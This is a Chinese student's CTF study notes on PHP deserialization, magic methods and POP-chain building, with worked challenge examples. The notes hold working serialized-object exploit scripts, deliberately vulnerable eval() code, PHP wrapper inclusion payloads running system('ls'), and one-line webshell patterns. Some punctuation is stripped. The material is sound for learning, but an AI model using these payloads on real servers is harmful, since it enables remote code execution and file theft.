【php反序列化魔术方法以及pop构造配实战】)
1. 任务1.1.1.1.1.1. 知识部分RCEPHP文件上传PHP序列化和反序列化【POP链构造phar反序列化session反序列化问题和字符串逃逸】1.1.1.1.1.2. 题目部分[SWPUCTF 2021 新生赛]ez_unserialize[SWPUCTF 2021 新生赛]no_wakeup[SWPUCTF 2022 新生赛]1z_unserialize[SQCTF] 逃 (学完字符串逃逸再完成)1.1.1.1.1.3. 参考链接大佬[php反序列化从入门到放弃(入门篇) - bmjoker - 博客园]【小迪安全】web安全个人学习笔记2文件上传 这个讲的比较全面建议搭配靶场使用https://blog.csdn.net/qq_33181292/article/details/120296254文件上传漏洞详解 - 渗透测试中心 - 博客园橙子科技2. 知识点学习2.1. php反序列化https://blog.csdn.net/tryqaaa_/article/details/159172832?spm1001.2014.3001.5502这篇是我最详细的解释这里只是一个回顾总结以及新添一些新的 知识点2.1.1. 补充一些生涩词汇如果不理解查看此处。。2.1.1.1.1. 实例化将类Class这个抽象模板转化为可以实际使用的具体对象Object的过程。比如# 1. 先定义类 class Car: def __init__(self, brand): self.brand brand # 2. 实例化创建两个具体的汽车对象 car1 Car(比亚迪) car2 Car(特斯拉) print(car1.brand) # 输出比亚迪 print(car2.brand) # 输出特斯拉这里Car(比亚迪)就是实例化过程car1和car2就是Car类的两个独立实例对象。2.1.1.1.2. 序列化和反序列化序列化内存对象→可存储/传输格式【拆开】反序列化可存储/传输格式→内存对象【合上】// 定义一个类 class User { public $name; public $age; public function __construct($name, $age) { $this-name $name; $this-age $age; } } // 1. 序列化对象 - 字符串 $user new User(Bob, 22); $serialized_str serialize($user); echo $serialized_str; // 输出O:4:User:2:{s:4:name;s:3:Bob;s:3:age;i:22;} // 2. 反序列化字符串 - 对象 $new_user unserialize($serialized_str); echo $new_user-name; // 输出Bob小题外话__wakeup()在反序列化前使用__destruct()在反序列化后使用__destruct()实例化对象后使用2.1.1.1.3. 对象分为三种publicprivateprotected使用public修饰进行序列化后变量$team的长度为4正常输出。使用private修饰进行序列化后会在变量$team_name前面加上类的名称在这里是object并且长度会比正常大小多2个字节也就是96217。使用protected修饰进行序列化后会在变量$team_group前面加上*并且长度会比正常大小多3个字节也就是10313。受Private修饰的私有成员序列化时:\x00 [私有成员所在类名] \x00 [变量名]受Protected修饰的成员序列化时\x00 * \x00 [变量名]【\x00代表ASCII为0的值即空字节】2.1.1.1.4. 常见序列化标识a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string其中比较常见的感觉a数组 i整数 s字符串 o类对象b布尔值 d小数2.1.2. 魔术方法2.1.2.1. 什么是魔术方法因为是在触发了某个事件之前或之后魔法函数会自动调用执行PHP 将所有以 __两个下划线开头的类方法保留为魔术方法。2.1.2.2. 常见的魔术方法【含思维导图】方法名作用__construct构造函数在创建对象时候初始化对象一般用于对变量赋初值【实例化的时候】__destruct析构函数和构造函数相反在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用【实例化结束之后】__toString当一个对象被当作一个字符串被调用把类当作字符串使用时触发返回值需要为字符串例如echo打印出对象就会调用此方法__wakeup()使用unserialize时触发反序列化恢复对象之前调用该方法__sleep()使用serialize时触发 在对象被序列化前自动调用该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)__destruct()对象被销毁时触发__call()在对象中调用不可访问的方法时触发即当调用对象中不存在的方法会自动调用该方法__callStatic()在静态上下文中调用不可访问的方法时触发__get()读取不可访问的属性的值时会被调用不可访问包括私有属性或者没有初始化的属性__set()在给不可访问属性赋值时即在调用私有属性的时候会自动执行__isset()当对不可访问属性调用isset()或empty()时触发__unset()当对不可访问属性调用unset()时触发__invoke()当脚本尝试将对象调用为函数时触发2.1.3. php反序列化漏洞对象注入如果让攻击者操纵任意反序列数据 那么攻击者就可以实现任意类对象的创建如果一些类存在一些自动触发的方法魔术方法那么就有可能以此为跳板进而攻击系统应用。https://www.cnblogs.com/bmjoker/p/13742666.html这里面有三个注入的示例2.1.3.1.1. 例一?php class A{ var $test demo; function __destruct(){ eval($this-test); } } $test $_POST[test]; $len strlen($test)1; $p O:1:\A\:1:{s:4:\test\;s:.$len.:\.$test.;\;}; // 构造序列化对象 $test_unser unserialize($p); // 反序列化同时触发_destruct函数 ?最终的目的是通过调用__destruct()这个析构函数将恶意的payload注入导致代码执行。当unserialize实行时会自动执行__destruct()的内容wp:testcat flag;就是使用post方式post你想要执行的命令即可2.1.3.1.2. 例二?php $txt $_GET[txt]; $file $_GET[file]; $password $_GET[password]; if(isset($txt)(file_get_contents($txt,r)welcome to the bugkuctf)) { echo hello friend!br; if(preg_match(/flag/,$file)) { echo 不能现在就给你flag哦; exit(); } else { include($file); $password unserialize($password); echo $password; } } else { echo you are not the number of bugku ! ; } ??php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); echo br; return (good); } } } ?出现了三个变量但是还是比较容易看的一个一个条件去满足因为已经看到include($file);$password unserialize($password);并且在index.php用echo,将对象当作字符串可以触发执行to_string()2.1.3.1.2.1. 第一个变量txt$txt $_GET[txt]; if(isset($txt)(file_get_contents($txt,r)welcome to the bugkuctf))第一个要符合条件【错误的解答?txtwelcome to the bugkuctf】直接传字符串不行因为file_get_contents第一个参数要求是文件名/资源路径它会把你传入的字符串当成文件名去打开而不是把它直接当成内容读取所以会报错或者读不到正确结果。正解要使用php伪协议【小本本记下来要去回顾php伪协议了】https://www.leavesongs.com/PENETRATION/php-filter-magic.html这个提了Php伪协议没看懂有好多种协议编码方式?txtdata://text/plain,welcome to the bugkuctf?txtdata://text/plain;base64,d2VsY29tZSB0byB0aGUgYnVna3VjdGYBase64编码形式?txt./文件名.txt文件中含有这句话GET参数传入?txtphp://input在POST请求Body中写入welcome to the bugkuctf即可让file_get_contents读取到正确的内容。2.1.3.1.2.2. 第二三个变量2.1.3.1.3. 例三?php class test{ var $test 123; function __wakeup(){ $fp fopen(flag.php,w); fwrite($fp,$this-test); fclose($fp); } } $a $_GET[id]; print_r($a); echo /br; $a_unser unserialize($a); require flag.php; ?2.1.3.1.3.1. 代码审计?php class test{ // 公有属性 var $test 123; // 反序列化触发的魔术方法 function __wakeup(){ // 以写模式打开flag.php不存在则创建存在则覆盖原有内容 $fp fopen(flag.php,w); // 将当前对象的$test属性写入到flag.php fwrite($fp,$this-test); fclose($fp); } } // 直接获取用户可控输入无任何过滤 $a $_GET[id]; // 直接反序列化用户输入 $a_unser unserialize($a); // 最终包含并执行写入后的flag.php require flag.php; ?如上代码主要通过调用魔术方法__wakeup将$test的值写入flag.php文件中当调用unserialize()反序列化操作时会触发__wakeup魔术方法接下来就需要构造传进去的payload有可以直接生成的工具https://www.jyshare.com/compile/1/【直接在php环境里面运行】2.1.4. pop链把魔术方法作为最开始的小组件然后在魔术方法中调用其他函数(小组件)通过寻找相同名字的函数再与类中的敏感函数和属性相关联就是POP CHAIN 。2.1.4.1. 用的上的一些方法2.1.4.1.1. PHP最常见的危险函数- 命令执行exec()、passthru()、popen()、system() - 文件操作file_put_contents()、file_get_contents()、unlink() - 代码执行eval()、assert()、call_user_func()2.1.4.1.1.1. 命令执行类函数核心作用安全风险system()执行外部系统命令并直接输出结果直接返回命令执行结果最常用于一句话后门?cmdwhoamiexec()执行外部系统命令仅返回最后一行结果完整结果存在第二个参数需要通过输出参数获取全部结果也常被用来执行系统命令passthru()执行外部系统命令将结果直接输出到浏览器保留原生格式和system类似适合二进制命令输出CTF中非常常见popen()打开进程文件指针执行命令后返回文件句柄需要配合fgets读取结果属于PHP: 启动外部程序扩展函数常出现在代码审计题中可用于绕过disable_functions限制2.1.4.1.1.2. 文件操作类函数核心作用安全风险file_put_contents()将字符串写入文件如果用户可控写入内容可以直接写入一句话木马实现GetShellfile_get_contents()将整个文件读入字符串1. 配合PHP伪协议读取任意文件源代码2. 可被用来绕过WAF3. 配合php://input读取POST请求内容写入后门unlink()删除文件如果用户可控文件名可删除任意服务器文件配合竞争条件漏洞可删除哈希验证文件绕过权限2.1.4.1.1.3. 代码执行类函数核心作用安全风险eval()把传入的字符串当作PHP代码执行最经典的一句话后门函数eval($_POST[cmd])直接执行任意PHP代码危害极高assert()判断断言是否成立参数如果是字符串会被当作PHP代码执行PHP低版本中作用和eval几乎一致是eval常见的替代品常用于绕过WAFcall_user_func()调用回调函数处理参数第一个参数是可调用函数名第二个是参数攻击者可以控制回调函数为任意危险函数以此实现代码/命令执行比如call_user_func(eval,phpinfo();)2.1.4.1.2. php伪协议file://访问本地文件系统读取服务器本地文件不受allow_url_fopen/allow_url_include影响。用法?filefile:///var/www/html/flag.php需要传入文件的绝对路径。php://filter元封装器用于读取文件源码时做编码转换不受配置限制双off也能用CTF中最常见。经典读取源码payload?filephp://filter/readconvert.base64-encode/resourceindex.php把目标文件源码base64编码后输出直接拿到源码避免PHP解析执行。php://input读取POST请求的原始数据配合文件包含可以直接执行POST中传入的PHP代码。用法GET传参?filephp://input然后在POST body写入?php system(ls);?即可执行代码要求allow_url_includeOn。data://直接将数据嵌入URL可直接执行PHP代码要求allow_url_includeOnPHP 5.2.0支持。两种用法// 明文直接写 ?filedata://text/plain,?php%20system(ls);? // base64编码绕过过滤 ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz4phar://访问PHP归档(PHAR)文件核心用途是配合文件上传实现反序列化漏洞对后缀无要求PHP 5.3.0支持。用法?filephar:///var/www/html/shell.jpg/shelljpg后缀的压缩包也可以解析用于绕过上传检测。zip://访问ZIP压缩包内文件需要用#分隔压缩包路径和内部文件路径PHP 5.2.0支持。用法?filezip://./shell.jpg#shell.phpcompress.zlib:///compress.bzip2://分别访问zlib/bzip2压缩的文件无需解压直接读取内部内容。2.1.4.1.3. 大写S支持字符串的编码2.1.4.1.4. 深浅拷贝就是复制浅拷贝是“表面”共用同一个地址修改一个另一个也变$a$b;深拷贝二者独立要用__clone()2.1.4.2. pop链的一些例子实操中2.1.4.2.1. 例子一?php class main { protected $ClassObj; function __construct() { $this-ClassObj new normal(); //在创建main对象时自动实例化一个normal类的对象并把这个对象赋值给当前类的$ClassObj属性 } function __destruct() { $this-ClassObj-action(); //调用$ClassObj属性保存的对象的action()方法 } } class normal { function action() { echo hello bmjoker; } } class evil { private $data; function action() { eval($this-data); } } //$a new main(); unserialize($_GET[a]); ?当用户构造一个序列化字符串让$ClassObj属性实例化为evil对象而不是normal对象时反序列化完成后main对象销毁时自动执行__destruct()__destruct()调用$ClassObj-action()实际调用的就是evil类的action()evil类的action()执行eval($data)用户可控$data就实现了任意代码执行。2.1.4.2.1.1. 问题点在于__contruct()的结果是normal而不是evil我要怎么去调用evil类中的action()方法并伪造evil类中的变量$data达成任意代码执行的。2.1.4.2.1.2. 然后我们可以开始编写pop链脚本https://www.jyshare.com/compile/1/只是需要把需要改动的部分再先写出来像normal啥的就可以不动不写上去同时注意$a new main();echo serialize($a);记得输出以及新建对象注意在序列化的时候多出来的字节都被\x00填充需要进行在代码中使用urlencode对序列化后字符串进行编码否则无法复制解析。【原序列化字符串中的、{、}等符号直接放在URL参数里会被浏览器截断或解析错误编码后会变成%22、%7B、%7D这类安全字符。】可以直接将刚刚结果搞到其他网站上去编码也可以在代码处修改urlencode()2.1.4.2.2. 例子二?php class MyFile { public $name; public $user; public function __construct($name, $user) { $this-name $name; $this-user $user; } public function __toString(){ return file_get_contents($this-name); //PHP的文件读取函数会读取指定路径文件的全部内容以字符串返回 } public function __wakeup(){ if(stristr($this-name, flag)!False) //stristr()是PHP的字符串查找函数 $this-name /etc/hostname; //如果文件名包含flag就强行把$name修改为Linux系统的/etc/hostname文件存放主机名的系统文件 //这是一个WAF性质的过滤不允许直接读取flag文件。 else $this-name /etc/passwd; if(isset($_GET[user])) { //isset()用来判断URL的GET参数中是否存在user参数。 $this-user $_GET[user]; } } public function __destruct() { echo $this; } } if(isset($_GET[input])){ $input $_GET[input]; //输入口 if(stristr($input, user)!False){ die(Hacker); } else { unserialize($input); } }else { highlight_file(__FILE__); }2.1.4.2.2.1. 问题在于关键在于如果能控制变量$name就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user并且传入的$user还不能包含 user 子符串。【本人没有注意到echo与to_string的关系】读取的是$name的文件但是输入口是input和user无法直接控制name的值所以此处使用了浅拷贝通过对user值的改变来改变name的值input不可以出现user则可以通过大小写绕过可以在序列化内容中用大写S表示字符串此时这个字符串就支持将后面的字符串用16进制表示使用16进制即可绕过【input相当于是对a的输入进行检测】2.1.4.2.2.2. 构造pop链了?php class MyFile { public $name /etc/hosts; public $user ; } $a new MyFile(); $a-name $a-user; //新建对象和浅拷贝 $b serialize($a); $b str_replace(user, use\\72, $b); $b str_replace(s, S, $b); //取代字母大小写序列化进行验证 var_dump($b); ?在url处输入结果?inputD://1.txt,指向D盘根目录下名为1.txt的文本文件,要找flag则去flag相对应位置文件上改后面即可2.1.4.2.3. 例子三?php class start_gg { public $mod1; public $mod2; //声明两个公有属性$mod1和$mod2可被外部访问赋值。 public function __destruct() { $this-mod1-test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this-mod1-test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) //__call是PHP魔术方法当调用不存在/不可访问的方法时自动触发 //这里参数$test2就是调用的不存在的方法名$arr是调用参数数组 { $s1 $this-mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() //__invoke是PHP魔术方法当把对象当做函数执行时自动触发承接上一步$s1()的调用 { $this-mod2 字符串拼接.$this-mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this-str1-get_flag(); return 1; } } class GetFlag { public function get_flag() { echo flag:xxxxxxxxxxxx; } } $a $_GET[string]; unserialize($a); ?最后的目的是获取flag也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行需要构造一个POP链。2.1.4.2.3.1. 问题在于:他十分的绕用了很多的魔术方法。。然后就得一步一步来string1中的__tostring存在$this-str1-get_flag()分析一下要自动调用__tostring()需要把类string1当成字符串来使用因为调用的是参数str1的方法所以需要把str1赋值为类GetFlag的对象。$this-str1 new GetFlag()发现类func中存在__invoke方法执行了字符串拼接需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。$this-mod1 new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString()【这里本人出现一个误区就是以为是在echo处才触发了这个string没想到是在字符拼接的时候触发的这个_to-string ()】在funct中找到了函数调用需要把mod1赋值为func类的对象又因为函数调用在__call方法中且参数为$test2即无法调用test2方法时自动调用 __call方法$this-mod1 new func() //将func类作为函数调用就会触发魔术方法__invoke()在Call中的test1方法中存在$this-mod1-test2();需要把$mod1赋值为funct的对象让__call自动调用。$this-mod1 new funct() //因为$test2()方法不存在当$this-mod1调用的时候会触发魔术方法__call()查找test1方法的调用点在start_gg中发现$this-mod1-test1();把$mod1赋值为Call类的对象等待__destruct()自动调用。这个程序的起点就在这里$this-mod1 new Call()2.1.4.2.3.2. pop链的构造这道题因为都是在构造一个new对象就是在各类里头新增对象constuct?php class start_gg { public $mod1; public $mod2; public function __construct() { $this-mod1 new Call(); //把$mod1赋值为Call类对象 } public function __destruct() { $this-mod1-test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this-mod1 new funct(); //把 $mod1赋值为funct类对象 } public function test1() { $this-mod1-test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this-mod1 new func(); //把 $mod1赋值为func类对象 } public function __call($test2,$arr) { $s1 $this-mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this-mod1 new string1(); //把 $mod1赋值为string1类对象 } public function __invoke() { $this-mod2 字符串拼接.$this-mod1; } } class string1 { public $str1; public function __construct() { $this-str1 new GetFlag(); //把 $str1赋值为GetFlag类对象 } public function __toString() { $this-str1-get_flag(); return 1; } } class GetFlag { public function get_flag() { echo flag:.xxxxxxxxxxxx; } } $b new start_gg; //构造start_gg类对象$b echo urlencode(serialize($b)); //显示输出url编码后的序列化对象结果如下面所示2.1.4.2.4. 例子四?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this-append($this-var); } } class Show{ public $source; public $str; public function __construct($fileindex.php){ $this-source $file; echo Welcome to .$this-source.br; } public function __toString(){ return $this-str-source; } public function __wakeup(){ if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-source)) { echo hacker; $this-source index.php; } } } class Test{ public $p; public function __construct(){ $this-p array(); } public function __get($key){ $function $this-p; return $function(); } } if(isset($_GET[pop])){ unserialize($_GET[pop]); } else{ $anew Show; highlight_file(__FILE__); } ?先大概浏览了一下这个代码迅速找到了这个include()危险函数可以在此处进行代码审计2.1.4.2.4.1. 问题在于触发append——》__invoke()——》__get($key)——》__toString()——》__construct()【这个链条要练到可以独自看出来要调用get()的时候注意到tostring的函数内容$this-str-source有误】Modifier类中append方法被__invoke()调用并传入$this-var参数。当类Modifier被当作函数调用的时候会自动调用魔术方法__invoke()。最后在Test类的构造函数看到了$this-p这里可以直接通过反序列化控制属性p的值然后通过调用魔术方法__get()来return一个p()类被当作函数调用就可以触发魔术方法__invoke()需要把p赋值为Modifier类的对象$this-var可以传入想要包含的文件。$this-p new Modifier()Test类中的魔术方法__get()是在读取不可访问属性的值时会被调用发现Show类中的魔术方法__toString()访问了str的source属性如果str是Test类的对象则不存在source属性Test类的__get()魔术方法就会被调用。$this-str new Test()Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法__construct()使用echo输出字符串如果$this-source指向一个对象就会调用__toString()方法。$a new Show(); $this-source $a;最终的调用链如下include -- Modifier::__invoke() -- Test::__get() -- Show::__toString()2.1.4.2.4.2. pop链构造注意在写payload的时候?php ?construct的出现有新建的对象?php class Modifier { protected $var D://1.txt; } class Show{ public $source; public $str; } class Test{ public $p; public function __construct(){ $this-p new Modifier(); } } $a new Show(); $a-source $a; $a-str new Test(); echo urlencode(serialize($a)); ?结果如下图所示3. 总结3.1.1.1.1.1. 下周新任务php伪协议要去回顾iscc也考了php实际才学到php反序列化下周从Seesion继续开始学3.1.1.1.1.2. 学了个啥知识呢之前第一遍学习这个pop链实际一直没有太明白这次通过这三道反序列化的题目知晓之前推反序列化简直就是乱来学会了一丢丢写payload的感觉下周将实操试试